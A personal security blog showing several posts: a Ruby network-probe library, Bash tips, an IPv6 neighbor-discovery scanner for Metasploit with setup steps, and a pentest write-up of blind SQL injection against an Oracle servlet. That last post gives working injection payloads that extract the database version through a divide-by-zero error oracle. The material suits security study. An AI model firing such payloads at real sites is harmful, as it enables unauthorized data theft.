Meet the neighbors

Several months have passed after my first proposal but now ip_map has become an official auxiliary module of metasploit. They probably didn't like proposed name and decided to rename it into ipv6_neighbor. I think it was a good decision because the *map names has been used too much in past years (E.g nmap ... and of course: sqlmap).

Thanks to offensive-security for quickly adding an ipv6 discovery section in theirMetasploit Unleashed. If you want to know more about ipv6 insecurities I strongly suggest the excellent paper from Antonio Merola.

Pulse: Data Visualization with gruff

I spent yesterday night looking for a way to display the data collected by Pulse. After hard googling the web i found a beautifull gem called gruff. Plotting data with gruff is simply amazing and results in great quality graphs as you can see:

You can find my plot script inside Pulse@github. Have a look!


Pulse is a small framework for quickly building network probes and collect response time. Pulse is not intended to monitor complex networks or to replace most advanced tools such as Cacti. It's just a use to monitor response time variances on small amount of time. Right now there are two available probes: ICMP and HTTP but more are coming soon and little effort is required to build new ones from scratch. Let'see some examples.

ICMP Probe:

require 'pulse'
include Pulse

ICMP.pulse(:target => '', :count =>5, :round_trip => 5) do |probe|
probe.on_fail do |echo| echo

probe.on_pulse do |echo| echo

HTTP Probe:

require 'pulse'
include Pulse

HTTP.pulse(:target => 'http://localhost/', :count =>5, :round_trip => 5) do |probe|
probe.on_fail do |echo| echo

probe.on_pulse do |echo| echo

A real HTTP Prober should take care of HTTP Response as well. Let'say we want to say alive! if and only if strings 'works' is contained on HTTP response (body) message:

require 'pulse'
include Pulse

HTTP.pulse(:target => 'http://localhost/', :count =>5, :round_trip => 5) do |probe|
probe.grep 'works'

probe.on_fail do |echo| echo

probe.on_pulse do |echo| echo

To collect round-trip time values pulse provides a SQLite3 Mixin module called Pulse::DB:

require 'pulse'
include Pulse

HTTP.pulse(:target => 'http://localhost/', :count =>5, :round_trip => 5) do |probe|
probe.on_fail do |echo| echo

probe.on_pulse do |echo|
[Pulse::STDOUT, Pulse::DB].each do |r| echo

The consistency of the Database is guaranteed by an at_exit{ } charged to close DB which in turn will gracefully handle script termination.

Pulse @ github

Thinking Functionally In Ruby

What functional programming is ?
Why it's a "pretty neat idea" ?
How to adopt functional programming principles in Ruby ?

Four Bash built-ins

About a week ago i decided to read again the mighty Advanced Bash Scripting Guide. Here follows some notes about four of its (funny) built-ins.

Truncate a file
belch@graal:~$ > file

How does it works?

belch@graal:~$ strace -efile -f bash -c '> file'


open("file", O_WRONLY|O_CREAT|O_TRUNC|O_LARGEFILE, 0666) = 3

Comma separator
belch@graal:~$ t1=0
belch@graal:~$ let t1="t1++, t1+2"
belch@graal:~$ echo $t1

Comma separator links together arithmetic expression but only last is returned. On previous example it start by incrementing t1 then sum 2. As you can guess result is 3.

Believe it or not Bash has a 0x90 builtin. It's the placeholder :

belch@graal:~$ :
belch@graal:~$ echo $?

Stacking dirs
belch@graal:~$ cd /home/belch
belch@graal:~$ echo ~+
belch@graal:~$ cd /tmp
belch@graal:~$ cd ~- # ~- get expanded in previous working directory
belch@graal:~$ pwd

Discovering Dual Stack Hosts with IP_MAP

IPv4 and IPv6 stacks can interoperate in order to make the v4 to v6 migration pretty smooth. Hence IPv4 hosts could run dual IP stack. Most firewalls with IPv6 support have separate rule-sets for IPv6 and IPv4.

Modern operating systems such as Linux have their IPv6 stack enabled by default and many system administrators are unaware of issues that may arise from employing both stacks. Common mistakes involve missing coordination between rule sets and access policies of different stacks. Linux provides builtin packet filtering capabilities in kernel spaces but unfortunately IPv4 ruleset defined with iptables are not coordinated on IPv6 stack without manually specifying IPv6 rules with iptables6. The same could be applied on ISO/OSI upper layers where access policies have been implemented on application side.

IPv6 Link-Local Address

IPv6 hosts automatically assign to each of their interfaces a unique address
based on the L2 address when no external source of network addressing information is available. These addresses refer only to a particular broadcast domain. Router will not forward datagrams using link-local addresses at all.

Link-local addresses have the prefix of FE80::/64. The last 64 bits of the IPv6 address is derived from the L2 address of related network adapter in such a way:
  • 0xFF and 0xFE are inserted between the third and fourt byte of mac-address
  • second low order bit of the first byte of MAC Address gets complemented
L2 Address 00:22:15:eb:19:4f gets IPv6 Link-local address fe80::222:15ff:feeb:194f

Neighbor Discovery Protocol

" IPv6 nodes on the same link use Neighbor Discovery to discover each other's presence, to determine each other's link-layer addresses, to find routers and to maintain reachability information about the paths to active neighbors. " RFC 2461

To determine the link-layer address of a neighbor an ICMPv6 Neighbor Solicitation is sent by a node. Solicited node answer with a ICMPv6 Neighbor Advertisement to announce it's link-layer address. As you guess ICMPv6 Neighbor Discover Protocol has replaced ARP in IPv4.

They replaced ARP to safely ensure Link Layer address translation. IPv6 header includes the AH header to authenticate the datagram. To this aim ICMPv6 gets encapsulated in IPv6 and AH extension neighbor spoofing should be avoided. It sounds like a novel in a perfect world to me but they still did it!

Solicited Node Address

In IPv4, the ARP Request frame is sent to the MAC-level broadcast, disturbing all nodes on the broadcast domain. For IPv6, instead of disturbing all IPv6 nodes on the local link , the solicited-node multicast address is used as the host destination for ICMPv6 Neighbor Solicitation message.

The solicited-node multicast address consists of the prefix FF02::1:FF00:0/104 and the last 24-bits of the IPv6 address that is being resolved. Node with link-local IPv6 address FE80::20B:6AFF:FE47:194F is listening for multicast traffic at the solicited-node address FF02::1:FF47:194F. Something similar happens at L2 where a multicast prefixed ethernet datagram with 33:33 is sent.

What is ip_map?

ip_map is an auxiliary module for Metasploit to be used for enumerating dual stack hosts. It means that it follows a two step process:

ARP sweep
For each target hosts refered by its IPv4 address it sends an arp-request claiming for the L2 Address. If host responds with arp-reply it's L2, L3 address get added to the array nodes

ICMPv6 ND sweep
For each elements of array nodes the L2 address component is extracted and used to get:
  • Solicited-Node multicast L2 address
  • Solicited-Node multicast L3 address
  • Node Link-local address

An ICMPv6 ND Solicitation packet is built and injected into the wire awaiting for corresponding ICMPv6 Neighbor Advertisement (if any).

How to ip_map?

Download msf trunk
svn co /framework

Download and install pcaprub from rubyforge
svn co pcaprub
cd pcabrub
ruby extconf.rb && make && sudo make install

Download and install racket ( 1.0.7 at the moment of writing)
sudo gem install --source racket

Create resource file for msf: ndpsweep.msf:
use auxiliary/scanner/discovery/ip_map
setg INTERFACE eth0
setg SHOST
setg SMAC 00:21:5d:61:7f:c0

Download and install ip_map
svn co
cp ip_map.rb /framework/modules/auxiliary/scanner/discovery/

Start msf framework
sudo MSF_LOCAL_LIB=/var/lib/gems/1.8/gems/racket-1.0.7 ./msfconsole -r ./ndsweep.msf

Watch module in action

Blind SQL Injection: Inference through Underflow Error

About one year ago I was hired to perform a WAPT against a webportal. There was an eShop portlet composed by many servlets, one of which was used to obtain some discount by supplying a valid promotion code. Such a servlet returned a response page containing two different messages when a not valid promotion code had been inserted:

  • Not a valid promotion code

  • Error occurred please try later

The second message was returned when the supplied code contained some evil chars, such as a single quote, that probably raised an error on the Backend DBMS. Unfortunately there was a proper Error Handling policy catching the exception and avoiding code backtrace on the response page. It looked like the servlet was vulnerable to Blind SQL Injection.

Recalling my contributions to the OWASP Backend Security Project, i used some techniques I had previously developed to fingerprint a DBMS by injecting some evil statements containing string concatenation and SQL dialect.

After a deep fuzzing and body response analisys I found that Not a valid promotion code was triggered by the following URLs:

/codeValidator.jsp?code=wr' || 'ong
/codeValidator.jsp?code=wr' || (SELECT 'o' FROM DUAL) || 'ng
/codeValidator.jsp?code=wr' || (SELECT SUBSTR('oo', 1, 1) FROM DUAL) || 'ng

Error occurred please try later was triggered by the following URLs:

/codeValidator.jsp?code=wr' || (SELECT 1/0 FROM DUAL) || 'ng

They both confirmed a SQL Injection vulnerability and gave away Oracle as the backend DBMS. Unfortunately, I didn't have a valid promotion code, so what kind of tautology was I supposed to use?

The answer I found was:

  • Raise an underflow exception if and only if the tautology is FALSE

  • Analyze what message is returned to guess if underflow exception occours

To this end I set up an inference procedure using the PL/SQL function INSTR. INSTR returns the index of the first occourrence of a char in a string, if the string contains such a char or 0. It means that INSTR follow this behaviour when used in conjuction of SUBSTR and 1/0 expression:

SELECT 1/INSTR(SUBSTR('daniele',1,1), 'd') FROM DUAL => 1
SELECT 1/INSTR(SUBSTR('daniele',1,1), 'z') FROM DUAL => Underflow Exception

It was easy to deduce inference procedure. These query strings returned Not a valid promotion code:

?code=test' || (SELECT 1/INSTR(SUBSTR(version,1,1),'9') FROM v$instance) || '
?code=test' || (SELECT 1/INSTR(SUBSTR(version,2,1),'.') FROM v$instance) || '
?code=test' || (SELECT 1/INSTR(SUBSTR(version,3,1),'2') FROM v$instance) || '
?code=test' || (SELECT 1/INSTR(SUBSTR(version,4,1),'.') FROM v$instance) || '
?code=test' || (SELECT 1/INSTR(SUBSTR(version,5,1),'0') FROM v$instance) || '
?code=test' || (SELECT 1/INSTR(SUBSTR(version,6,1),'.') FROM v$instance) || '
?code=test' || (SELECT 1/INSTR(SUBSTR(version,7,1),'8') FROM v$instance) || '
?code=test' || (SELECT 1/INSTR(SUBSTR(version,8,1),'.') FROM v$instance) || '
?code=test' || (SELECT 1/INSTR(SUBSTR(version,9,1),'0') FROM v$instance) || '

While these query strings returned Error occurred please try later

?code=wrong' || (SELECT 1/INSTR(SUBSTR(version,1,1),'8') FROM v$instance) || '
?code=wrong' || (SELECT 1/INSTR(SUBSTR(version,2,1),',') FROM v$instance) || '
?code=wrong' || (SELECT 1/INSTR(SUBSTR(version,3,1),'3') FROM v$instance) || '